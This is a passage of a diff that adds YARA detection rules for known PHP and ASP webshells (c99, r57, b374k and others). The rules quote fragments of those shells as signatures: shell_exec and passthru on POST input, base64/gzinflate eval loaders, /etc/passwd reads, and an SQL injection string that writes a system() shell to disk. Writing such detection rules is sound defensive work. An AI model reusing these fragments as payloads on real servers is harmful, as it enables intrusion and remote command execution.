+		$s1 = "$ftpquick_t = round(getmicrotime()-$ftpquick_st,4);" fullword
+		$s2 = "$fqb_lenght = $nixpwdperpage;" fullword
+		$s3 = "$sock = @ftp_connect($host,$port,$timeout);" fullword
+	condition:
+		2 of them
+}
+rule _w_php_php_wacking_php_php_c99shell_v1_0_php_php_c99php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash2 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash3 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+	strings:
+		$s0 = "$sqlquicklaunch[] = array(\""
+		$s1 = "else {echo \"<center><b>File does not exists (\".htmlspecialchars($d.$f).\")!<"
+	condition:
+		all of them
+}
+rule _antichat_php_php_Fatalshell_php_php_a_gedit_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files antichat.php.php.txt, Fatalshell.php.php.txt, a_gedit.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "128e90b5e2df97e21e96d8e268cde7e3"
+		hash1 = "b15583f4eaad10a25ef53ab451a4a26d"
+		hash2 = "ab9c6b24ca15f4a1b7086cad78ff0f78"
+		id = "6bf5640f-0773-5d93-8d27-0844062017c7"
+	strings:
+		$s0 = "if(@$_POST['save'])writef($file,$_POST['data']);" fullword
+		$s1 = "if($action==\"phpeval\"){" fullword
+		$s2 = "$uploadfile = $dirupload.\"/\".$_POST['filename'];" fullword
+		$s3 = "$dir=getcwd().\"/\";" fullword
+	condition:
+		2 of them
+}
+rule _c99shell_v1_0_php_php_c99php_SsEs_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, SsEs.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+	strings:
+		$s3 = "if (!empty($delerr)) {echo \"<b>Deleting with errors:</b><br>\".$delerr;}" fullword
+	condition:
+		1 of them
+}
+rule _Crystal_php_nshell_php_php_load_shell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files Crystal.php.txt, nshell.php.php.txt, load_shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "fdbf54d5bf3264eb1c4bff1fac548879"
+		hash1 = "4a44d82da21438e32d4f514ab35c26b6"
+		hash2 = "0c5d227f4aa76785e4760cdcff78a661"
+		id = "a92134cd-7f10-589f-bcda-508bc7a20efe"
+	strings:
+		$s0 = "if ($filename != \".\" and $filename != \"..\"){" fullword
+		$s1 = "$dires = $dires . $directory;" fullword
+		$s4 = "$arr = array_merge($arr, glob(\"*\"));" fullword
+	condition:
+		2 of them
+}
+rule _nst_php_php_cybershell_php_php_img_php_php_nstview_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files nst.php.php.txt, cybershell.php.php.txt, img.php.php.txt, nstview.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "ddaf9f1986d17284de83a17fe5f9fd94"
+		hash1 = "ef8828e0bc0641a655de3932199c0527"
+		hash2 = "17a07bb84e137b8aa60f87cd6bfab748"
+		hash3 = "4745d510fed4378e4b1730f56f25e569"
+		id = "cc4dc0e9-dbb1-560b-ae36-23d3e16a407f"
+	strings:
+		$s0 = "@$rto=$_POST['rto'];" fullword
+		$s2 = "SCROLLBAR-TRACK-COLOR: #91AAFF" fullword
+		$s3 = "$to1=str_replace(\"//\",\"/\",$to1);" fullword
+	condition:
+		2 of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_dC3_Security_Crew_Shell_PRiV_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "433706fdc539238803fd47c4394b5109"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
+		id = "d22c4cc3-842b-5a24-bf4b-a8024b447b9e"
+	strings:
+		$s0 = " if ($mode & 0x200) {$world[\"execute\"] = ($world[\"execute\"] == \"x\")?\"t\":"
+		$s1 = " $group[\"execute\"] = ($mode & 00010)?\"x\":\"-\";" fullword
+	condition:
+		all of them
+}
+rule _c99shell_v1_0_php_php_c99php_1_c2007_php_php_c100_php {
+	meta:
+		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, 1.txt, c2007.php.php.txt, c100.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash2 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash3 = "d089e7168373a0634e1ac18c0ee00085"
+		hash4 = "38fd7e45f9c11a37463c3ded1c76af4c"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+	strings:
+		$s0 = "$result = mysql_query(\"SHOW PROCESSLIST\", $sql_sock); " fullword
+	condition:
+		all of them
+}
+rule multiple_php_webshells_2 {
+	meta:
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash5 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash6 = "09609851caa129e40b0d56e90dfc476c"
+		hash7 = "671cad517edd254352fe7e0c7c981c39"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "elseif (!empty($ft)) {echo \"<center><b>Manually selected type is incorrect. I"
+		$s1 = "else {echo \"<center><b>Unknown extension (\".$ext.\"), please, select type ma"
+		$s3 = "$s = \"!^(\".implode(\"|\",$tmp).\")$!i\";" fullword
+	condition:
+		all of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_1_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
+		id = "4915146e-141c-5515-ac5a-61901d42dc40"
+	strings:
+		$s0 = "if ($total === FALSE) {$total = 0;}" fullword
+		$s1 = "$free_percent = round(100/($total/$free),2);" fullword
+		$s2 = "if (!$bool) {$bool = is_dir($letter.\":\\\\\");}" fullword
+		$s3 = "$bool = $isdiskette = in_array($letter,$safemode_diskettes);" fullword
+	condition:
+		2 of them
+}
+rule _r577_php_php_r57_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash2 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash3 = "817671e1bdc85e04cc3440bbd9288800"
+		id = "022d2255-50cd-500b-8d91-8e34f3c46fcf"
+	strings:
+		$s0 = "$res = mssql_query(\"select * from r57_temp_table\",$db);" fullword
+		$s2 = "'eng_text30'=>'Cat file'," fullword
+		$s3 = "@mssql_query(\"drop table r57_temp_table\",$db);" fullword
+	condition:
+		1 of them
+}
+rule _nixrem_php_php_c99shell_v1_0_php_php_c99php_NIX_REMOTE_WEB_SHELL_v_0_5_alpha_Lite_Public_Version_php {
+	meta:
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "40a3e86a63d3d7f063a86aab5b5f92c6"
+		hash1 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash2 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash3 = "f3ca29b7999643507081caab926e2e74"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+	strings:
+		$s0 = "$num = $nixpasswd + $nixpwdperpage;" fullword
+		$s1 = "$ret = posix_kill($pid,$sig);" fullword
+		$s2 = "if ($uid) {echo join(\":\",$uid).\"<br>\";}" fullword
+		$s3 = "$i = $nixpasswd;" fullword
+	condition:
+		2 of them
+}
+
+/* GIF Header webshell */
+
+rule DarkSecurityTeam_Webshell {
+	meta:
+		description = "Dark Security Team Webshell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "f1c95b13a71ca3629a0bb79601fcacf57cdfcf768806a71b26f2448f8c1d5d24"
+		score = 50
+		id = "78dcd62f-9215-5571-a5ef-5f811ce9672f"
+	strings:
+		$s0 = "form method=post><input type=hidden name=\"\"#\"\" value=Execute(Session(\"\"#\"\"))><input name=thePath value=\"\"\"&HtmlEncode(Server.MapPath(\".\"))&" ascii
+	condition:
+		1 of them
+}
+
+rule PHP_Cloaked_Webshell_SuperFetchExec {
+	meta:
+		description = "Looks like a webshell cloaked as GIF - http://goo.gl/xFvioC"
+		reference = "http://goo.gl/xFvioC"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 50
+		id = "4611129a-9865-5603-b1ec-7db0058a80d7"
+	strings:
+		$s0 = "else{$d.=@chr(($h[$e[$o]]<<4)+($h[$e[++$o]]));}}eval($d);"
+	condition:
+		$s0
+}
+
+/* PHP Webshell Update - August 2014 - deducted from https://github.com/JohnTroony/php-webshells */
+
+rule WebShell_RemExp_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - file RemExp.asp.php.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "d9919dcf94a70d5180650de8b81669fa1c10c5a2"
+		id = "274c8816-2711-5f12-937e-549ec2d57ce1"
+	strings:
+		$s0 = "lsExt = Right(FileName, Len(FileName) - liCount)" fullword
+		$s7 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f"
+		$s13 = "Response.Write Drive.ShareName & \" [share]\"" fullword
+		$s19 = "If Request.QueryString(\"CopyFile\") <> \"\" Then" fullword
+		$s20 = "<td width=\"40%\" height=\"20\" bgcolor=\"silver\">  Name</td>" fullword
+	condition:
+		all of them
+}
+rule WebShell_dC3_Security_Crew_Shell_PRiV {
+	meta:
+		description = "PHP Webshells Github Archive - file dC3_Security_Crew_Shell_PRiV.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "1b2a4a7174ca170b4e3a8cdf4814c92695134c8a"
+		id = "c83bb4ba-6b4e-5a88-925b-b93d08b304e4"
+	strings:
+		$s0 = "@rmdir($_GET['file']) or die (\"[-]Error deleting dir!\");" fullword
+		$s4 = "$ps=str_replace(\"\\\\\",\"/\",getenv('DOCUMENT_ROOT'));" fullword
+		$s5 = "header(\"Expires: \".date(\"r\",mktime(0,0,0,1,1,2030)));" fullword
+		$s15 = "search_file($_POST['search'],urldecode($_POST['dir']));" fullword
+		$s16 = "echo base64_decode($images[$_GET['pic']]);" fullword
+		$s20 = "if (isset($_GET['rename_all'])) {" fullword
+	condition:
+		3 of them
+}
+rule WebShell_simattacker {
+	meta:
+		description = "PHP Webshells Github Archive - file simattacker.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "258297b62aeaf4650ce04642ad5f19be25ec29c9"
+		id = "2408fad8-780f-50de-a309-99d14a1d87b6"
+	strings:
+		$s1 = "$from = rand (71,1020000000).\"@\".\"Attacker.com\";" fullword
+		$s4 = "&nbsp;Turkish Hackers : WWW.ALTURKS.COM <br>" fullword
+		$s5 = "&nbsp;Programer : SimAttacker - Edited By KingDefacer<br>" fullword
+		$s6 = "//fake mail = Use victim server 4 DOS - fake mail " fullword
+		$s10 = "&nbsp;e-mail : kingdefacer@msn.com<br>" fullword
+		$s17 = "error_reporting(E_ERROR | E_WARNING | E_PARSE);" fullword
+		$s18 = "echo \"<font size='1' color='#999999'>Dont in windows\";" fullword
+		$s20 = "$Comments=$_POST['Comments'];" fullword
+	condition:
+		2 of them
+}
+rule WebShell_DTool_Pro {
+	meta:
+		description = "PHP Webshells Github Archive - file DTool Pro.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "e2ee1c7ba7b05994f65710b7bbf935954f2c3353"
+		id = "9f2922d1-b2af-58ae-b194-ecb33577effa"
+	strings:
+		$s1 = "function PHPget(){inclVar(); if(confirm(\"O PHPget agora oferece uma lista pront"
+		$s2 = "<font size=3>by r3v3ng4ns - revengans@gmail.com </font>" fullword
+		$s3 = "function PHPwriter(){inclVar();var url=prompt(\"[ PHPwriter ] by r3v3ng4ns\\nDig"
+		$s11 = "//Turns the 'ls' command more usefull, showing it as it looks in the shell" fullword
+		$s13 = "if (@file_exists(\"/usr/bin/wget\")) $pro3=\"<i>wget</i> at /usr/bin/wget, \";" fullword
+		$s14 = "//To keep the changes in the url, when using the 'GET' way to send php variables" fullword
+		$s16 = "function PHPf(){inclVar();var o=prompt(\"[ PHPfilEditor ] by r3v3ng4ns\\nDigite "
+		$s18 = "if(empty($fu)) $fu = @$_GET['fu'];" fullword
+	condition:
+		3 of them
+}
+rule WebShell_IronShell_4 {
+	meta:
+		description = "PHP Webshells Github Archive - file ironshell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		old_rule_name = "WebShell_ironshell"
+		hash = "d47b8ba98ea8061404defc6b3a30839c4444a262"
+		id = "06e87e02-372b-5d4e-be52-5515a068665b"
+	strings:
+		$s0 = "<title>'.getenv(\"HTTP_HOST\").' ~ Shell I</title>" fullword
+		$s2 = "$link = mysql_connect($_POST['host'], $_POST['username'], $_POST"
+		$s4 = "error_reporting(0); //If there is an error, we'll show it, k?" fullword
+		$s8 = "print \"<form action=\\\"\".$me.\"?p=chmod&file=\".$content.\"&d"
+		$s15 = "if(!is_numeric($_POST['timelimit']))" fullword
+		$s16 = "if($_POST['chars'] == \"9999\")" fullword
+		$s17 = "<option value=\\\"az\\\">a - zzzzz</option>" fullword
+		$s18 = "print shell_exec($command);" fullword
+	condition:
+		3 of them
+}
+rule WebShell_indexer_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - file indexer.asp.php.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "e9a7aa5eb1fb228117dc85298c7d3ecd8e288a2d"
+		id = "d6e17429-1b58-5a1b-846d-f5dbfd74cf3a"
+	strings:
+		$s0 = "<meta http-equiv=\"Content-Language\" content=\"tr\">" fullword
+		$s1 = "<title>WwW.SaNaLTeRoR.OrG - inDEXER And ReaDer</title>" fullword
+		$s2 = "<form action=\"?Gonder\" method=\"post\">" fullword
+		$s4 = "<form action=\"?oku\" method=\"post\">" fullword
+		$s7 = "var message=\"SaNaLTeRoR - " fullword
+		$s8 = "nDexEr - Reader\"" fullword
+	condition:
+		3 of them
+}
+rule WebShell_toolaspshell {
+	meta:
+		description = "PHP Webshells Github Archive - file toolaspshell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "11d236b0d1c2da30828ffd2f393dd4c6a1022e3f"
+		id = "016af030-4991-583c-aab5-a2933ae0eeec"
+	strings:
+		$s0 = "cprthtml = \"<font face='arial' size='1'>RHTOOLS 1.5 BETA(PVT) Edited By KingDef"
+		$s12 = "barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),\"\\\")) - 1" fullword
+		$s20 = "destino3 = folderItem.path & \"\\index.asp\"" fullword
+	condition:
+		2 of them
+}
+rule WebShell_b374k_mini_shell_php_php {
+	meta:
+		description = "PHP Webshells Github Archive - file b374k-mini-shell-php.php.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "afb88635fbdd9ebe86b650cc220d3012a8c35143"
+		id = "d5b0dfa5-46b5-5323-a8e8-b119d8c2c8e5"
+	strings:
+		$s0 = "@error_reporting(0);" fullword
+		$s2 = "@eval(gzinflate(base64_decode($code)));" fullword
+		$s3 = "@set_time_limit(0); " fullword
+	condition:
+		all of them
+}
+rule WebShell_Sincap_1_0 {
+	meta:
+		description = "PHP Webshells Github Archive - file Sincap 1.0.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "9b72635ff1410fa40c4e15513ae3a496d54f971c"
+		id = "38d39739-660f-596d-a297-1f0dfe530797"
+	strings:
+		$s4 = "</font></span><a href=\"mailto:shopen@aventgrup.net\">" fullword
+		$s5 = "<title>:: AventGrup ::.. - Sincap 1.0 | Session(Oturum) B" fullword
+		$s9 = "</span>Avrasya Veri ve NetWork Teknolojileri Geli" fullword
+		$s12 = "while (($ekinci=readdir ($sedat))){" fullword
+		$s19 = "$deger2= \"$ich[$tampon4]\";" fullword
+	condition:
+		2 of them
+}
+rule WebShell_b374k_php {
+	meta:
+		description = "PHP Webshells Github Archive - file b374k.php.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "04c99efd187cf29dc4e5603c51be44170987bce2"
+		id = "73eb7d8d-14bb-5bc2-90b2-90b6bd603bd1"
+	strings:
+		$s0 = "// encrypt your password to md5 here http://kerinci.net/?x=decode" fullword
+		$s6 = "// password (default is: b374k)"
+		$s8 = "//******************************************************************************"
+		$s9 = "// b374k 2.2" fullword
+		$s10 = "eval(\"?>\".gzinflate(base64_decode("
+	condition:
+		3 of them
+}
+rule WebShell_SimAttacker___Vrsion_1_0_0___priv8_4_My_friend {
+	meta:
+		description = "PHP Webshells Github Archive - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "6454cc5ab73143d72cf0025a81bd1fe710351b44"
+		id = "3e0bae7d-77a1-5439-bbe7-177bec23cea0"
+	strings:
+		$s4 = "&nbsp;Iranian Hackers : WWW.SIMORGH-EV.COM <br>" fullword
+		$s5 = "//fake mail = Use victim server 4 DOS - fake mail " fullword
+		$s10 = "<a style=\"TEXT-DECORATION: none\" href=\"http://www.simorgh-ev.com\">" fullword
+		$s16 = "error_reporting(E_ERROR | E_WARNING | E_PARSE);" fullword
+		$s17 = "echo \"<font size='1' color='#999999'>Dont in windows\";" fullword
+		$s19 = "$Comments=$_POST['Comments'];" fullword
+		$s20 = "Victim Mail :<br><input type='text' name='to' ><br>" fullword
+	condition:
+		3 of them
+}
+rule WebShell_h4ntu_shell__powered_by_tsoi_ {
+	meta:
+		description = "PHP Webshells Github Archive - file h4ntu shell [powered by tsoi].php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "cbca8cd000e705357e2a7e0cf8262678706f18f9"
+		id = "5a12a025-6497-545a-8da0-423ef448e374"
+	strings:
+		$s11 = "<title>h4ntu shell [powered by tsoi]</title>" fullword
+		$s13 = "$cmd = $_POST['cmd'];" fullword
+		$s16 = "$uname = posix_uname( );" fullword
+		$s17 = "if(!$whoami)$whoami=exec(\"whoami\");" fullword
+		$s18 = "echo \"<p><font size=2 face=Verdana><b>This Is The Server Information</b></font>"
+		$s20 = "ob_end_clean();" fullword
+	condition:
+		3 of them
+}
+rule WebShell_php_webshells_MyShell {
+	meta:
+		description = "PHP Webshells Github Archive - file MyShell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "42e283c594c4d061f80a18f5ade0717d3fb2f76d"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "<title>MyShell error - Access Denied</title>" fullword
+		$s4 = "$adminEmail = \"youremail@yourserver.com\";" fullword
+		$s5 = "//A workdir has been asked for - we chdir to that dir." fullword
+		$s6 = "system($command . \" 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/o"
+		$s13 = "#$autoErrorTrap Enable automatic error traping if command returns error." fullword
+		$s14 = "/* No work_dir - we chdir to $DOCUMENT_ROOT */" fullword
+		$s19 = "#every command you excecute." fullword
+		$s20 = "<form name=\"shell\" method=\"post\">" fullword
+	condition:
+		3 of them
+}
+rule WebShell_php_webshells_pws {
+	meta:
+		description = "PHP Webshells Github Archive - file pws.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "7a405f1c179a84ff8ac09a42177a2bcd8a1a481b"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s6 = "if ($_POST['cmd']){" fullword
+		$s7 = "$cmd = $_POST['cmd'];" fullword
+		$s10 = "echo \"FILE UPLOADED TO $dez\";" fullword
+		$s11 = "if (file_exists($uploaded)) {" fullword
+		$s12 = "copy($uploaded, $dez);" fullword
+		$s17 = "passthru($cmd);" fullword
+	condition:
+		4 of them
+}
+rule WebShell_reader_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - file reader.asp.php.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "70656f3495e2b3ad391a77d5208eec0fb9e2d931"
+		id = "80ec18e1-6f41-5188-b2d5-f4228c975fa1"
+	strings:
+		$s5 = "ster\" name=submit> </Font> &nbsp; &nbsp; &nbsp; <a href=mailto:mailbomb@hotmail"
+		$s12 = " HACKING " fullword
+		$s16 = "FONT-WEIGHT: bold; BACKGROUND: #ffffff url('images/cellpic1.gif'); TEXT-INDENT: "
+		$s20 = "PADDING-RIGHT: 8px; PADDING-LEFT: 8px; FONT-WEIGHT: bold; FONT-SIZE: 11px; BACKG"
+	condition:
+		3 of them
+}
+rule WebShell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2_3 {
+	meta:
+		description = "PHP Webshells Github Archive - file Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		old_rule_name = "WebShell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2"
+		hash = "db076b7c80d2a5279cab2578aa19cb18aea92832"
+		id = "349cf6ac-92b3-59f7-a6e4-c23e69b454c6"
+	strings:
+		$s1 = "<option value=\"/etc/passwd\">Get /etc/passwd</option>" fullword
+		$s6 = "by PHP Emperor<xb5@hotmail.com>" fullword
+		$s9 = "\".htmlspecialchars($file).\" has been already loaded. PHP Emperor <xb5@hotmail."
+		$s11 = "die(\"<FONT COLOR=\\\"RED\\\"><CENTER>Sorry... File" fullword
+		$s15 = "if(empty($_GET['file'])){" fullword
+		$s16 = "echo \"<head><title>Safe Mode Shell</title></head>\"; " fullword
+	condition:
+		3 of them
+}
+rule WebShell_Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		old_rule_name = "WebShell_Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit"
+		hash = "b2b797707e09c12ff5e632af84b394ad41a46fa4"
+		id = "b647f529-be81-51ad-b671-84aec410e133"
+	strings:
+		$s4 = "$liz0zim=shell_exec($_POST[liz0]); " fullword
+		$s6 = "$liz0=shell_exec($_POST[baba]); " fullword
+		$s9 = "echo \"<b><font color=blue>Liz0ziM Private Safe Mode Command Execuriton Bypass E"
+		$s12 = " :=) :</font><select size=\"1\" name=\"liz0\">" fullword
+		$s13 = "<option value=\"cat /etc/passwd\">/etc/passwd</option>" fullword
+	condition:
+		1 of them
+}
+rule WebShell_PHP_Backdoor_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file php-backdoor.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		old_rule_name = "WebShell_php_backdoor"
+		hash = "b190c03af4f3fb52adc20eb0f5d4d151020c74fe"
+		id = "65e1305b-4fc7-5885-b3df-92846bb57fe3"
+	strings:
+		$s5 = "http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix" fullword
+		$s6 = "// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombi"
+		$s11 = "if(!isset($_REQUEST['dir'])) die('hey,specify directory!');" fullword
+		$s13 = "else echo \"<a href='$PHP_SELF?f=$d/$dir'><font color=black>\";" fullword
+		$s15 = "<pre><form action=\"<? echo $PHP_SELF; ?>\" METHOD=GET >execute command: <input "
+	condition:
+		1 of them
+}
+rule WebShell_Worse_Linux_Shell_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file Worse Linux Shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		old_rule_name = "WebShell_Worse_Linux_Shell"
+		hash = "64623ab1246bc8f7d256b25f244eb2b41f543e96"
+		id = "04ed7464-29d1-54b9-98ff-afc03475b220"
+	strings:
+		$s4 = "if( $_POST['_act'] == \"Upload!\" ) {" fullword
+		$s5 = "print \"<center><h1>#worst @dal.net</h1></center>\";" fullword
+		$s7 = "print \"<center><h1>Linux Shells</h1></center>\";" fullword
+		$s8 = "$currentCMD = \"ls -la\";" fullword
+		$s14 = "print \"<tr><td><b>System type:</b></td><td>$UName</td></tr>\";" fullword
+		$s19 = "$currentCMD = str_replace(\"\\\\\\\\\",\"\\\\\",$_POST['_cmd']);" fullword
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_pHpINJ {
+	meta:
+		description = "PHP Webshells Github Archive - file pHpINJ.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "75116bee1ab122861b155cc1ce45a112c28b9596"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />';" fullword
+		$s10 = "<form action = \"<?php echo \"$_SERVER[PHP_SELF]\" ; ?>\" method = \"post\">" fullword
+		$s11 = "$sql = \"0' UNION SELECT '0' , '<? system(\\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 IN"
+		$s13 = "Full server path to a writable file which will contain the Php Shell <br />" fullword
+		$s14 = "$expurl= $url.\"?id=\".$sql ;" fullword
+		$s15 = "<header>||   .::News PHP Shell Injection::.   ||</header> <br /> <br />" fullword
+		$s16 = "<input type = \"submit\" value = \"Create Exploit\"> <br /> <br />" fullword
+	condition:
+		1 of them
+}
+rule WebShell_php_webshells_NGH {
+	meta:
+		description = "PHP Webshells Github Archive - file NGH.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "c05b5deecfc6de972aa4652cb66da89cfb3e1645"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<title>Webcommander at <?=$_SERVER[\"HTTP_HOST\"]?></title>" fullword
+		$s2 = "/* Webcommander by Cr4sh_aka_RKL v0.3.9 NGH edition :p */" fullword
+		$s5 = "<form action=<?=$script?>?act=bindshell method=POST>" fullword
